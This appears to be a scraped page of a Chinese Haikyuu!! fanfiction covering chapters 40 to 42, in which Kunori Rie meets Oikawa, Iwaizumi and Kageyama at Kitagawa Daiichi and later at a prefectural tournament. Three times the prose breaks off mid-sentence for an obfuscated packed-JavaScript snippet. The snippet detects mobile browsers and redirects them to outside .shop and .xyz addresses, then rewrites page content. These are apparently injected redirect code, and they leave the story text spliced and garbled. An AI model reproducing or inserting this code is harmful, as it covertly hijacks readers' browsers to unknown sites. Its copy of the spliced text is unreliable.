缘下力颇为嫌弃地说：“怎么越来越像痴汉行为了，不是和平时的相处模式没两样吗？” 西谷夕反驳：“喂！现在可不一样啊！” 田中龙之介深以为然：“因为如今的阿谷已经有了全心全意追求九里学妹的打算，每一个眼神和动作都需要牢记和反复品味。” “所以进展到了哪里？”田中追问。 “不知道。”西谷夕一身正气地回答。 田中语塞：“…那不是跟力说的完全没有区别吗！？” “里绘她讨厌模糊的说辞，喜欢很清楚的表达方式，而我的计划就是直接上。”西谷夕用力握拳，“赢了县内决赛就告白。” 缘下力：“听着有点像战前flag。” 东峰旭略感不安：“虽然听起来很煞风景，但是……西谷你莫非没有考虑到没赢决赛的可能性吗？” “完全！没有！”西谷夕叉腰，“不会有第二种可能！我很相信大家！” 此话一出，众人的心情都有些飘飘然。 田中无比感动：“阿谷——” “就是要这份自信，狂野boy！”菅原孝支竖起大拇指。 “什么？！”身旁爆发出一声喊叫。 回过头，是日向翔阳仿佛听到了什么惊天动地的消息，死死拽住影山飞雄，语无伦次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128771|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说：“阿谷学长要向九里桑告白！！？” 比起这则消息本身，影山飞雄更在乎自己的衣角，于是很快就和日向翔阳互相扯起了外套，演变成了又一场比赛。 山口忠：“日向不知道吗？” “没人提到的话，我完全不知情……”日向翔阳失魂落魄。 “也是，毕竟日向还有影山你们两个，不太会去关心排球之外的事情啦。”山口忠说到一半，停顿片刻。 “九里同学似乎也是同样的类型吧？” 缘下力指出：“所以要在告白的同时，确保九里学妹能够明白你对她的感情是那种方面的。” 菅原孝支碎碎念：“不然在九里学妹心中的侧写恐怕会变成西谷=自由人=排球，然后九里学妹会回答‘我像喜欢着排球和自由人那样喜欢你！’” 泽村大地：“菅原你在说某种新型刺骨的风凉话吗？” 周围人集思广益，纷纷讲述完了自己的想法，西谷夕陷入了沉默。 “不，不会的。”他绞尽脑汁去思考，“根据我得知的消息，里绘她过去就曾有一位和她当时的体育项目无关的偶像。” “我相信里绘能分得清……会理解我的心意。” 第二位是最近才新上任的音驹高校的夜久卫辅，那种身份（自由人），那种身高（都是一米多和一米七不到，谁怕谁啊！），西谷夕丝毫不慌。 甚至隐隐有些接受挑战的兴奋：“我绝不会在任何方面输给他！” 践行会临近结束前，台上的九里绘重重地打了个喷嚏。 在众目睽睽之下，她无奈地揉了揉鼻子心想：谁在说她的坏话。 * 六月二日预赛当天，比赛场馆入口。 青叶城西中学走在半路，发现有个本该是全场关注焦点的人不见踪影。 “及川彻呢？” “呃…在外面被其他学校的女生给拦住了。” 教练的脸立刻黑了下来，岩泉一闻讯出动。 冷着脸，出去的路上找走廊摆放的球筐借走一颗排球。 礼貌地等待其中一名女生说完“及川同学，我可以要一张合照吗？”之后，抓准时机，毫不犹豫地将排球砸向那个混蛋的后脑勺。 “好疼，连教练都没有打过我！”及川彻转身，正对上岩泉一的表情。 岩泉一眉头拧紧，背景板喷涌着愤怒的火花，眼里的怒气似乎也可以随时喷发出来。 及川彻幽幽地抬手：“…抱歉，拍照下次再说吧。” 就在这时，一道迅疾的风从粉丝群中穿出，头也不回地冲过及川彻——然后完全无视了他，在岩泉一面前踩住刹车。 “岩泉学长！”九里绘双眼亮晶晶的，高速吟唱道，“好久不见，您还是一样的霸气侧漏呢！我在对面就注意到了，用排球砸及川学长的技巧依旧格外的帅气，辛苦了！” “我可以跟岩泉学长击个掌吗？” 在一个既可爱又活泼的后辈面前，岩泉一及时熄灭了火焰：“是九里啊，许久不见。” 她疯狂点头，像小鸡啄米。 九里绘感觉有人从后面拍她的肩，仰起脖子偏过头，是及川彻一脸期待地指着他自己。 “……”九里绘纠结万分，逼迫自己使出此生最大的演技，“及川学长，你不开口说话的时候，长得越来越有人样了，挺好的。” 及川彻定格在原地：“？？？绘酱！” 不是，凭什么！ 40.40章 40章——天才与怪物的相遇 九里绘心满意足地和岩泉一击掌。 及川彻一点都不满意地被冷落忽视，丢到了一边，只能眼睁睁看着两个相性好的人散发着“前辈后辈多融洽”的光亮。 向来在女生面前受欢迎的他也就只在九里绘这里翻车过了……他无声叹气。 很快收拾好了心情，及川彻重振旗鼓，挥手提醒：“绘酱～教练好像要催促小岩回去呢。” 岩泉一用眼神深深地鄙视他：“你长话短说，待会还要进场。” 接着低下头，平易近人地舒缓眉梢，对九里绘说：“你是来看比赛的吗，还是参加比赛的选手？不管是哪种，今天都要加油啊。” 及川彻生气：“小岩是个双标怪！” “岩泉学长也要加油。“九里绘忘记了及川彻的存在，单独给人打气。 说完才想起来解释道：“我是要上场的参赛选手。” “上高中后我去打排球了，现在是排球部的队员。” 她拉开外套，展示出里面早就更换好的球服。 岩泉一非常意外：“你居然选择了排球啊，完全没猜到…我记得及川他当年劝了你好几次转排球都没成功。” 九里绘摸着下巴：“确实如此，不过计划赶不上变化，今天的我也不再是过去的我了。” “当初及川学长教会我的东西，放到现在我还记得一些，对我正式启动排球练习有所帮助。” 她正色道：“多谢了，及川学长。” 及川彻猛地扭过头，让人看不清他的表情：“现在才开始说好话试图让我回心转意来夸你，已经来不及了！” “…你这家伙怎么在后辈面前还那么幼稚。”岩泉一无语，“不要仗着九里和你熟就为所欲为啊，走了。” “因为和绘酱聊天不能按套路出牌嘛。”及川彻闷闷不乐，“等等，我还有最后一件事要问！” “所以，是谁呢？” 围绕在身体周遭的气场突变，及川彻轻微向下颔首，眼底昏暗不明：“是谁，比我更先一步让绘酱领略到排球的魅力？” “做到了我以前想做，却一直没能成功的事情呢？” 九里绘警觉地后退一步：“……” “反正是谁都可以，但绝对不可以是小飞雄——！！”及川彻指着外套上印着的校名大叫，画风又变得不正经起来。 “不是这个名字。”九里绘说。 “那就好。”及川彻悬着的心放下了。 对话还没有结束，九里绘有些蠢蠢欲动，眼睛止不住地往自己的球服上看去。 终于，像一名喜好向外界展示独家珍品的收藏师那样，她忍不住给出一点明显到不行的提示。 “及川学长要是好奇，可以留意一下乌野的四号。”临别前，九里绘浅浅一笑，“我和他的背号是一样的。” 九里绘猛然想起：“对了，听说岩泉学长现在也是四号，这个数字简直是棒极了！” 三人分别后，归队途中，岩泉一忍不住问：“你就没想过多说点什么？” 及川彻：“说什么？” 岩泉一：“…别装糊涂，九里她最先认识的人是你，作为前辈，鼓励之类的话都不说两句嘛。” “啊，抱歉抱歉，原来小岩不了解绘酱的情况啊。”及川彻双手合十，“在我找到让绘酱改变注意的真相前，什么都不说才是最恰当的选择。” “即便是随口放在嘴边的夸奖和鼓舞，也要因人而异。”及川彻认真地细究道。 “你还真是个怪人。”岩泉一感慨。 “嗯？小岩指的是绘酱吗，我也是这么认为的。”及川彻脚步一顿，表情变得复杂起来，仿佛是联想到了什么恐怖的画面。 “她居然对我笑了。”及川彻深吸一口气，“让那张面瘫脸能够如此顺畅地做出正常人可以接受的笑容。” 岩泉一回忆道：“根本不是面瘫脸吧。” 及川彻不依不饶：“那个可恶的家伙到底对我们的绘酱做了什么啊？！” 岩泉一锤他脑袋：“九里不是青城的学生，别自说自话挂个‘我们’啊喂，再怎么说对方也是女生，乱用词会让别人有困扰的。” “知道了知道了！”及川彻捂住后脑勺。 青叶城西的队伍进入观众席，主教练和顾问各自嘱咐了几句。 其中一句便是：“再仔细点看乌野高一组合的强力快攻，他们极有可能会是我们将来的对手。” 青城是县内的种子队，不用打第一轮便直接晋级，空出来的时间可以在观众席收看其他正在进行的比赛。 稍微留意了一下第二轮比赛会用到的场地，及川彻双手插兜，再次回到场馆中间。 “呀吼~小飞雄，小不点，怪人组合近来如何？”他开心比耶。 又被岩泉一锤了一顿恢复正常，他才甩甩手开始打量其它地方。 乌野的四号，四号，啊有了，四号是……自由人？ 及川彻狐疑地歪了歪头，没有想通，索性抛到脑后没有去管。 因为他相信，以自己对九里绘的性格脾气了解，她最适合担任二传手的位置。 上次打训练赛时还没见过乌野的自由人，不知道实力如何呢。 想到这，及川彻格外不爽地指着台下的西谷夕，控诉道：“就是那个家伙教了绘酱乱七八糟的东西吧，尤其是把刘海挑染成不同颜色的中二发型！” 岩泉一攥出拳头：“哈？” 教练抱着手臂，坐在后面叹气：“及川，既然代表了青城出席，为了青城的面子好歹小声一点……” 及川彻立马道歉：“是，对不起！” 他回到座位，眼神依旧牢牢地锁定乌野。 那么，让他见识一下吧。 “怪物快攻”组合，未曾露面过的自由人和主攻手，乌野这支新队伍的实力。 及川彻的双手交叠在一起，摆放在面前，看了眼四号。 就用你说服九里绘转战排球的方式，让他也亲眼见证一次…… 究竟散发着怎样的魅力？ * 国中的三年，及川彻毫无例外地选择将大部分时间泡在排球上。 除了排球之外，就是和排球有点联系的其它体育类社团，和同学们聊天的过程中，难免会听到许多流言。 如果他记得没错，从北川第一毕业的那三届学生中，九里绘在某部分群体里远近闻名。 像是什么“运气瘟神”，指的是她抽卡必保底，抽奖必不出货，她自身的糟糕运气还会影响到与她相近的事物。 据说她所属的体育社团在IH第一轮就成功抽中了去年的八强校作为对手，喜提一轮游。 还有“人形自走不定时炸弹”和“独裁者”之类的绰号，就完完全全是按照本人性格编撰的。 及川彻对这种背后嚼舌根的话题没有一丁点兴趣，甚至会暗自皱皱眉头，在现实中笑着打圆场，让毫无意义的话题尽快结束。 可“独裁者”这个绰号过于罕见，即便是他，也在毕业升入高中的两年后才偶尔…只是很偶尔地，听到北川第一排球部谈及过相似的称呼——用来形容那个天才影山飞雄。 那时候，带着一丝对古怪绰号若有若无的好奇，他记住了 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“不知名学长，请当心点。”九里绘不认识及川彻，出于礼貌这样开口。 及川彻问：“你这是在做什么？” “在给明天参加体操比赛结束后回来的队友们，起到一个精神支持上的作用。”九里绘一五一十地坦白，交谈间手中的笔没有停下。 “简单来说就是在她们回体育馆的路上，经过转角，看到这幅画，然后恰到好处地体会到某种快乐和荣誉感，证明我一直有在看着她们。” 九里绘语言组织能力告急，说：“嗯，总之大概就是这样。” 及川彻欲言又止，继续追问：“你没有去比赛现场吗？” “我去不去都一样，教练说我的脾气性格不适合上场，当替补坐冷板凳也是浪费时间。”九里绘轻描淡写地说。 这番话恰好激起了及川彻藏匿许久的小心思，他认真了点：“所以，你就真的放弃机会，不上了吗？” “……” 九里绘放下了画笔，背过夕阳，低头向他看去。 她说：“依我的脾气性格来看，我认为教练说的是一通放屁。” “噗！”及川彻忽然笑出声，“好有道理，我突然在一瞬间理解了教练的深意——开个玩笑啦。” 嬉皮笑脸中止，这一刻，及川彻才开始专心致志地观察起眼前的女生。 是他没见过的人。 及川彻的人气很高，在异性中也相当受欢迎。 前一种的身份定位并没有引起效果，九里绘对他从头到尾都没有升起多少兴趣，全神贯注地画她的水彩，眼睛扫过他的脸时淡漠无光。 她一心沉浸在自己的世界，内心平稳得像是晴朗无云时的天空。 “咦。”他突然惊叹。 及川彻几乎是立刻就意识到，自己不该用对待一位同校学妹的态度去和她展开交流。 或许，在她是个需要被夸奖漂亮和可爱的女孩子、是北川第一的学生之前，还拥有着一个更为重要的身份。 她也是体育竞技比赛的一名选手。 及川彻的思绪在这简短的时间里，为九里绘做出了一定程度上的人物侧写，并洞察般地总结出了几个关键词。 野心，自信，不会顺着任何人心意蛮横生长的、对自我的“掌控欲”。 ……感觉混进人群当中容易被起独裁者那样的绰号，及川彻想到这，把自己逗笑了。 是啊，不遵从社会规则前进的人，就是容易被当成怪物啊。 这一刻，是天才与怪物的相遇。 41.41章 41章——种瓜得瓜，种果得果 “既然有错，干脆就别听教练的话了，把自己当成最好的证明去反击他，让他也见识一下落败的滋味~”及川彻说。 “！”九里绘眼睛一亮，追问道，“你也觉得是教练的问题？不认为是我这个人的错误吗？” “引导队员是教练的职责之一，要是他什么都没做，只一味地否认你，那就是他没有做好分内之事。”及川彻耸耸肩，“而且现在跟我聊天的人是你啊。” “如果你的教练哪天逮到我，说不定为了逃命，我就毫不犹豫地说出符合教练心意的说辞了。”及川彻故意很轻浮地说。 九里绘眨了眨眼，没听懂这个需要脑袋才能够理解的冷笑话。 掠过这个话题，九里绘觉得他挺有趣的，想露出一个表示友好的笑，可惜失败了。 接下去，她还有一件事情要办。 “学长，退后点，小心别把衣服弄脏。”九里绘再次出言提醒，下一刻，笔在她的手中扭转发力，颜料在空中甩出一道弧线。 洒出去的颜料落在已经完成的画像上，化为了图画中央的少女握在手心、肆意飞扬的绸带。 “就我目前的想法，教练是狗屁，竞技是狗屎。”九里绘咬了咬嘴唇，不满地宣泄情绪，“但是一码归一码，这些都和要上场参赛的选手无关。” “即使不上场，我也是社团的一员，是队伍的一份子，我能做无数多的事情去尽全力支持她们。” 说到这，九里绘突然抛笔一跃而下，将及川彻吓了一跳。 那样的高度，她直接踩着梯子起跳，身形仿佛在半空中停滞了两秒，随手甩出去的笔在下坠过程中反手重新攥住。 稳稳落地，挺胸抬头，气质别具一格。 九里绘的身体在说话期间不断向前倾，自问自答：“为什么要证明？没什么好证明的。” “就算我做的这点小事情没起到任何作用，依旧受到队伍排挤，不被承认是团队中的一员，我也会干到底。”她说。 及川彻一愣，在思绪回转之前问道：“为什么呢？” “因为这是我的事情，不会受到除我之外的任何影响。”九里绘语气坚定，发狠地说，“除非我放弃它了，对它彻底没有了兴趣，不然无人有资格动摇我！” “不会被人看见和我有什么关系！？”彼时，国中一年级的九里绘骄傲自大地放话。 她竖起拇指点向自己，又伸出食指朝及川彻点去：“在这片土地上，我永远都在看向自己！” 那是一个怪物。及川彻心想，兴许用野兽来描述也不为过，仅仅凭着生命的本能在行动。 思考过程中，他没有停止观察，忽然间灵光闪现，一股奇怪的动力促使他开口。 “你叫什么名字？” “九里绘，一年级。” 吼，果然是她呀。 “我是及川彻。”见九里绘没什么反应，及川彻确定她不认识自己，继续补充，“三年级，现在是男子排球部的队长。” “Captain啊。”九里绘不熟练地温习起英文单词，“好，不错，听起来挺厉害的。” “——岂止是厉害？”及川彻没忍住说道。 在九里绘面前，他可以忘掉令人不快的比赛结果，全心全意地为自己感到自豪：“我和我的队伍都是相当的厉害！” 九里绘点头：“我知道了。” 及川彻伸手邀请：“就当换个心情，别管什么会放屁的教练了，我带你去见识一下什么叫真正的好队伍。” 也不知到头来是谁带领谁换走了坏心情。 第二天，介于今年的最后一次大赛结束，来参加排球部活的三年级生寥寥无几。 岩泉一就是其中之一，他已经考虑好了，高中也会继续打排球，不能放任球技生疏。 与及川彻身后的女生对上了眼神，岩泉一问：“及川，你在搞什么鬼？” “她不是我的粉丝啦，是新认识的朋友。”及川彻解释道，“只是来参观，让她体验一下什么叫作排球的团队精神。” 他叉腰：“当然，若是能够顺便理解及川大人的魅力就再好不过——” “等一下！”九里绘打断。 话还没讲完，九里绘从背后绕到前面，站在两人中间，直勾勾地盯着岩泉一：“请——” 及川彻懵了：“？” 岩泉一疑惑：“请…？” “请多指教，岩泉学长！我崇拜您很久了，请让我当您的粉丝！！”九里绘兴冲冲地鞠躬。 及川彻瞪大眼睛：“哈？？！！” * 在及川彻备受冷落的三分钟里，面对岩泉一，九里绘神采奕奕，用着他从未见过的开朗性格快速讲述了对岩泉一的崇拜过往。 起因大概是体育社团里津津乐道的身体素质全能比拼。 一群精力过剩的体育生们想要彰显自己的强大实力，碍于不同社团的练习项目不同，所以翻来覆去能相对公平比赛的只有那么几样。 力量、速度、耐力等等。 北川第一中学不知道第几届的扳手腕大赛中，岩泉一当之无愧地拿下了男子组第一。 与此同时，站在窗外目睹这一切的九里绘怦然心动。 作为扳手腕大赛女子组的第一名，她冲进了教室，不假思索道：“请和我比一场。” 岩泉一本来是想拒绝的。 理由很简单，不同性别最直观的差异在于生理结构，这有违公平，不然那些和体育运动相关的比赛也不会用性别来区分赛道了。 可是九里绘很执拗地说：“我很想比，你要是纠结的话，我们用左手，我的左手力气更大。” 思考片刻，岩泉一同意了。 随着同学的一声令下，比赛开始，岩泉一没有留手，全力以赴。 浑身上下的肌肉全部绷紧，九里绘狠狠使劲，手臂上的青筋差点暴起，坚持了整整七秒钟，手背才被摁倒在桌面上。 “我输掉了，谢谢你愿意和我比赛。”九里绘鞠躬致谢，然后在大喘气中发出了一声满足的轻笑，“好开心。” “岩泉学长的力量果然很强。”她说着，身边仿佛散发着数朵小花，“我会以岩泉学长为榜样，不断增进肌肉的。” 当时，岩泉一莫名其妙地收获了来自学妹的一大堆夸奖，有些不太好意思。 他用前辈的口吻给出回应：“那就加油吧，每天坚持锻炼健身，该努力时努力，好好吃饭，好好睡觉。” 九里绘疯狂点头，讲这句话当作名言牢记在心：“是！” 并在许多年后，仍然将这句话作为自己的生活格言之一，反复诵读。 镜头拉回到蹲角落满脸怨言的及川彻。 “这不科学。”他碎碎念，“居然有人会喜欢小岩？小岩根本不是什么受欢迎的人啊。” 岩泉一不予理会，很快，他和九里绘两个人的聊天已经进展到了“排球是什么有趣的东西”上。 对于自己偶像所专攻的领域，九里绘产生了一定的好奇心。 今天是排球部每周一次的惯例休息日，没什么人在训练，于是岩泉一给九里绘留了一筐排球，让她自己试试看。 九里绘从里面抱出一颗三色球，专注地低着头，眼睛仿佛要将它盯穿。 及川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14162481|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻起身走过去：“你这是在做什么？” “我在和排球进行脑电波交流。”九里绘一本正经地胡说八道，“有时候，我在面对球类项目时，会觉得它们想要和我沟通。” “所以这些年来，我接触过许多体育球类，篮球、乒乓……每当第一次摸到球的时候，我总觉得自己应该做点什么很有仪式感的事情，来回应它们。” “这算是一种玄学吗？”及川彻摸摸下巴，“不过倒也正常，就算是世界级别的选手，也都有临上场前的仪式感，只有完整地做完一遍，才会让自己安心。” 好熟练，他相当有经验啊。 “我知道这个。”九里绘用下巴抵着球，继续说，“在一些更罕见的特别时间里，我觉得它们还会反过来，教我的身体怎么去击打它。” 及川彻顿住，无法理解：“等等，这就很怪了吧！？” “很奇怪吗？”九里绘反问道，“其实我的大脑一直都很吵，不管是画画的时候，还是做体操的时候，会不由自主地去幻想这个世界。” “然后，我就会放弃身体的操控权，随便怎么动，任凭脑袋去注意周围的地方。” “像这样。” 话音落下，九里绘将球高高抛起，伸出手臂。 天花板的灯光下，及川彻抬起头，缓慢地睁大眼睛，思绪追忆到不久前看过的排球选手采访视频。 当一名二传手最需要的才能是什么？ 广阔的视野，华丽的技术，清晰的头脑……都不是的，这些通通可以用后天的反复练习来改进。 但是有一点，是在没经过任何练习的前提下，可以最直观看出来的才能。 那就是跳跃的滞空感。 九里绘想象着自己在完成某个特别的体操动作，蹬地跳起。 像是有着牵引力一般，她完全是不经思考的起跳和出手，指尖轻轻一触，将半空中的排球停留在那个位置。 接下去本该是扣球的一步无人接手，九里绘落地，跑到网后去捡滚走的球。 又因为不小心跑得太快，脚尖比手先触球，排球被二次伤害踢远了一些。 恰好这个时候，门口出现了来自主练习的影山飞雄的身影。 及川彻感受到了转瞬即逝的警铃大作，后脑勺隐约有些发麻，迟迟没有缓过神。 世界进入静止，四周昏暗下来。 糟糕，怎么小飞雄的视线也看过来了。 现在该做些什么……对了，应该循着刚才的话题装作无事发生地继续下去吧。 “绘酱！”一时心急，及川彻喊出口的音量比以往都要大。 一边，影山飞雄望着不认识的人面色疑惑。 另一边，九里绘跑回来询问：“及川学长有什么事吗？” “……” 两个似乎拥有着同种特质的后辈都投来了不加掩饰的视线，像野兽那般直白又赤裸。 那些视线像是将他牢牢钉在了舞台的中央，及川彻的呼吸短暂地停止了。 或许是出于某种类似赌气的心理，他抱着不甘的复杂情绪重新恢复了吐息，用力冲破枷锁：“绘酱，来当我的徒弟吧！” 及川彻语调极其夸张地说：“我要将我的发球、拦网、传球等等技术全部倾囊相授，教给你！！！”就不教小飞雄。 影山飞雄不可思议地瞪大了眼睛，双眼亮起。 九里绘被他的大嗓门喊得脑瓜子疼，呆呆地问：“倾囊相授是什么意思？” 及川彻好不容易缓过来一点，看着眼前的两名后辈闪烁着睿智的视线，心情又随之大起大落：“……？” 北川第一的未来没救了。 42.42章 42章——吉祥三宝 及川彻认为自己确实是冲动了，可是他不后悔，也没有反悔。 影山飞雄闻言走到两人面前，眼神中透露着期待：“及川学长，请也教导我一下发球的技巧吧！” “才不要，你自己到旁边去玩啦小飞雄。”及川彻朝他吐舌头，重复做着幼稚的挑衅动作。 九里绘一头雾水：“谁？他叫飞鱼？” “绘酱，你的耳朵会选择性过滤单词吗？”及川彻默默吐槽。 没想到九里绘同意了这个说法：“是的，顺便有时会选择性遗忘脑袋里的东西。” 国中一年级的影山飞雄尚且没有什么人际交往的常识——恰好国中一年级的九里绘也没有。 那时候的他满脑子只有排球/那时候的她满脑子只有体操。 即使是碰到不认识的人，听到对方喊错自己的名字也没有纠正的想法。 影山飞雄看着自己手中的排球，心中若有所思。 反正只要记住眼前的女生是和及川学长一起出现的可以了…… 更为重要的一点是，及川学长说了，愿意把排球技术统统教给她。 意思就是以后有机会的话，自己也可以向她求教！ 想到这，影山飞雄眼睛亮亮的，脱口而出：“学姐。” 九里绘：“？” 及川彻：“？” “我是一年级的。”九里绘指着自己。 “原来如此。”影山飞雄在脑内快速检索着合适的称呼，“及川学长会教你排球，你是及川学长的徒弟，所以是……” “师…姐…？”影山飞雄把自己绕晕了。 及川彻双手比叉，厉声道：“别想靠称呼拉近关系，及川大人是坚决不会教你的！！” 九里绘立即转头呼唤：“岩泉学长，及川学长在欺负一年级的飞鱼同学。” 岩泉一迅速出击：“哈？垃圾川你给我过来——” 九里绘攥紧五指，举到半空：“岩泉学长，请不要大意地对及川学长使用岩拳吧。” 及川彻神色惊恐，抱头鼠窜：“诶！？” 此时距离国中三年级完全毕业还有不满一个月。 * 之后，九里绘偶尔会带着膜拜岩泉一的目的来排球部旁观。 接着就会被及川彻眼尖地揪出来，她后来学聪明了，躲在及川后援会的人群后面，但还是逃不过去。 九里绘用眼神表达怨念之心，看见岩泉一过来后突然变脸，一顿叽里呱啦，变成了一只嘴碎的小鸟，等岩泉一离开，她转头看及川彻后…… 立马撇了撇嘴，表情和旁边请求教学失败的影山飞雄简直是一个模子里刻出来的。 岩泉一：“怎么感觉他们两个有点像。” 及川彻不可思议地揉眼睛：“完了小岩，我打排球打出幻觉来了……” 岩泉一顺手锤他一拳：“疼吗？” 及川彻：“当然疼诶！” 岩泉一了然：“那应该不是幻觉。” 及川彻：“？？？” 这幅场景和对话被吃瓜群众留意到，于是在当事人不知情的地方一传十十传百。 直到新的一周开始时，体操部和排球部错开放假，九里绘抱着画板走进体育馆。 及川后援会的学姐们早就已经认识了她，露着亲切的笑容挥手打招呼：“九里学妹今天也来围观哥哥练习排球吗？” “谁？”身为独生子女，并且确信自家不会出现家庭伦理大戏的九里绘一脸茫然。 学姐们纷纷诧异：“九里学妹的哥哥不是岩泉同学吗？” 本想要解释的九里绘突然转了调子，开心地说：“谢谢，请继续这样误解下去吧。” 学姐们：“……原来不是啊。” 这个时候，北川第一男排部的成员们陆续结束慢跑，回到室内。 有人注意到里面的情况，回头喊了句：“影山，你姐姐来看你训练啦！” 影山飞雄左看右看：“她怎么会来？” 九里绘又是连发一串问号：“谁？在哪？” 简短的几段对话，让她困惑的次数比上半年加起来的总和还要多。 那人用拇指朝向九里绘：“不是在这儿嘛。” “我确实有个比我年长的姐姐，但不是她。”影山飞雄解释道。 九里绘双手抱臂，面无表情地照抄模板：“我确实没有亲生的兄弟姐妹，但不是他。” 路过的国见英小声说：“……好糟糕的语病。” 金田一勇太郎听闻此话，终于理清了最近流传的谣言：“原来是误会啊。” 他跟影山飞雄解释：“大家觉得你和九里同学不仅是头发和眼睛颜色很像，还有神态和气质都很接近……所以搞错了。” 九里绘利落地追问：“你是几月份出生的？” 影山飞雄：“12月。” “我是7月。”九里绘从善如流地接受了这个设定，“我以后就是你的姐姐了。” 影山飞雄：“？” 九里绘摊开手掌：“弟弟要借给姐姐一些零用钱。” 影山飞雄：“不要。” 阳谋诡计没有达成，九里绘回过头，有些期待地眨眨眼：“话说回来，我和岩泉学长的谣言可以不澄清吗？” 金田一沉默片刻，说道：“其实当你说出这句话的时候，已经算澄清过了。” 九里绘大为失落。 当晚的社团部活结束时，她帮岩泉一拽走了试图过度训练的及川彻，然后拿走了他手上的排球，站到网的另一边。 “接下来我要展示的是，及川学长教我的跳发。”九里绘长呼一口气，目光淡然，平静地抛球，助跑。 挥臂击中球面下半部分的同时，九里绘大吼一声，回荡在整个体育馆：“岩泉学长在上，保佑！” 这就是她选择的发球前必做玄学！ 及川彻尖叫：“好歹加上我的名字啊！这个要求很难做到吗？” 砰！ 球如炮弹一般飞快掠过了网的上空，丝毫没有要停下来的迹象，砸中了墙壁，并以强劲的力道触底反弹。 啪！ 两秒后，及川彻的头顶受到了反弹攻击，直直倒下。 九里绘的身边散发着小花：“好，百分之两百的完美。” 岩泉一竖起了大拇指：“最近的力量见长啊，九里。” 九里绘快乐地跳起来：“谢谢夸奖！” 只有及川彻受伤的世界出现了。 * 北川第一中学的男子排球部，不知从何时起有了队长请客聚餐的奇怪传统。 影山飞雄为了完成给自己设立的训练目标，很少会去参与排球外的活动，何况身为队长的及川彻，巴不得离开学校后就见不到他。 于是名额就这样空了出来，到了几天后的晚上，九里绘应邀提前抵达聚餐的拉面店。 她也是个不喜欢也不太参加集体活动的人，但答应过的事就一定会做到。 等到部活结束，岩泉一四处寻人时，发现她因为走反路而蹲错了店门，正在面无表情地给花盆里的蚂蚁添堵，挖出了蚂蚁世界的悬崖与河流。 回到真正的聚餐地点，及川彻不可思议道：“宫城这么小个地方还能走错路吗？” 九里绘脱口而出：“一定是及川学长害的。” 周围一群排球部的学长们哄堂大笑。 “迫害我好歹找个理由吧！现在连理由都懒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14174047|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得找了吗？”及川彻敲桌。 “不知道为什么就下意识想要反驳及川学长了。”九里绘实话实说，“我实在编不出来合适的借口……” 及川彻当然没有生气，甚至兢兢业业地吐槽完才接下半句：“好累，我这一生都不需要在电视上看漫才了。” 九里绘举手呼唤服务员，指着海报上的豚骨汤底拉面点单。 岩泉一看了一眼，不经意地说：“今天是及川请客。” 九里绘紧急叫停，认真纠正道：“再加十块叉烧。” 及川彻：“喂！！！” 服务员偷笑着离开后，九里绘给自己选了一个十分完美的位置，夹在墙壁和岩泉一中间。 但是很快她就不这么觉得了。 兴许是毕业季越发接近的缘故，靠谱的岩泉学长连话题都变得恐怖起来。 “九里有想要去的高中吗？”岩泉一问道。 联想到之前北川第一和千鸟山的那场排球比赛，九里绘回忆起了那名曾让她一见钟情的心动选手。 她嗦面条的动作一顿：“暂时有一个，我打算去乌野。” “乌野有什么好的，绘酱追随及川大人还有小岩的步伐，来青城啊。”及川彻混入其中，指指点点。 岩泉一理智分析：“青叶城西的社团氛围向来不错，就算不去体操队，你也可以换到其他社团，在这方面不会卡得很严格。” 两位青叶城西准高一新生的说辞倒不是毫无吸引力，但九里绘丝毫没有被动摇。 “我考不上。”九里绘使出了一击绝杀。 岩泉/及川：“……” 差点忘了这茬。 “你还有两年多的时间，可以做很多的事情。”岩泉一抱住双臂，娓娓道来，“除了单纯的成绩之外，还有保送名额，不一定是为了考入青城，还有更多选择都可以去考虑。” “比如就读北一的学生应该没有什么家庭上的压力，你可以去了解一下宫城县外的高中，京都和东京那些。条件允许的话，可以观望一下国外的学校。” “不过国外学校大多数是大学起步，太早去会有语言不通之类的问题，正好可以利用国内的高中过渡一下……” 讲到后面，九里绘连面都不敢吃了，手抓着膝盖正襟危坐，生怕侃侃而谈的岩泉老师随时抽查。 “抱歉。”岩泉一及时打住，“不小心说过头了，你别放在心上。” “没事的。”九里绘在偶像面前超水平发挥，记住了好多内容，“对了，中间提到有一部分人会选择家长读过的母校。” 岩泉一：“你也在考虑吗？” 九里绘思索道：“我妈妈和爸爸是白鸟泽高中认识的。” 岩泉一：“……似乎更难考了呢。” 及川彻拍案而起：“就去乌野，乌野可太棒了！” “及川学长，好幼稚。”连九里绘都察觉到了真相，岩泉一肯定地点头。 “但是幼稚得很有意思，再加上排球打得厉害，脑子也好用，在比赛中非常冷静和清醒，发球力量强，身材又很高大……”九里绘动了动筷子，头也不回地说。 